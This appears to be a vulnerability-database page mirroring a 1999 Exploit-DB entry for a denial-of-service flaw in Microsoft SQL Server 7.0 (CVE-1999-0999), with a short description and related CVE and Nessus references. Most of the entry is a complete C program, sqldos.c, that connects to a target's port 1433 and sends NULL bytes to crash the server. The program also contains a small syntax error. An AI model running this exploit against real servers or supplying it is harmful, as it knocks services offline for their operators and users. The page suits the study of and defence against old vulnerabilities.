Lucene search
+L

Microsoft SQL Server 7.0/7.0 SP1 - NULL Data Denial of Service

🗓️ 19 Nov 1999 00:00:00Reported by Kevork BelianType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

Microsoft SQL Server 7.0 crashes when it receives a TDS header with multiple NULL bytes.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-1999-0999
18 Jan 200005:00
cve
cvelist
Cvelist
CVE-1999-0999
18 Jan 200005:00
cvelist
nessus
Tenable Nessus
MS99-059: Microsoft SQL Server Crafted TCP Packet Remote DoS (uncredentialed check)
22 Nov 199900:00
nessus
nvd
NVD
CVE-1999-0999
19 Nov 199905:00
nvd
// source: https://www.securityfocus.com/bid/817/info

If Microsoft SQL Server 7.0 receives a TDS header with three or more NULL bytes as data it will crash. The crash will generate an event in the log with ID 17055 "fatal exception EXCEPTION_ACCESS VIOLATION".

/*
** sqldos.c -- a DoS attack agains MS SQL Server
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 1433    /* the port SQL Server listens on */


int main(int argc, char *argv[])
{
    int sockfd, numbytes;
    struct hostent *he;
    char buff[65535];
    struct sockaddr_in target_addr;

    if (argc != 2) {
        fprintf(stderr,"Usage: sqldos target\n");
        exit(1);
    }

    if ((he=gethostbyname(argv[1])) == NULL)

        perror("gethostbyname");
        exit(1);
    }

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket error");
        exit(1);
    }

    target_addr.sin_family = AF_INET;
    target_addr.sin_port = htons(PORT);
    target_addr.sin_addr = *((struct in_addr *)he->h_addr);
    bzero(&(target_addr.sin_zero), 8);

    if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct
sockaddr)) == -1) {
        perror("connect error");
        exit(1);
    }
    memset(&buff, 0, 3);

    if ((numbytes=send(sockfd, buff, 14, 0)) == -1) {
        perror("send errot");
        exit(1);
    }
    close(sockfd);

    return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.21682
31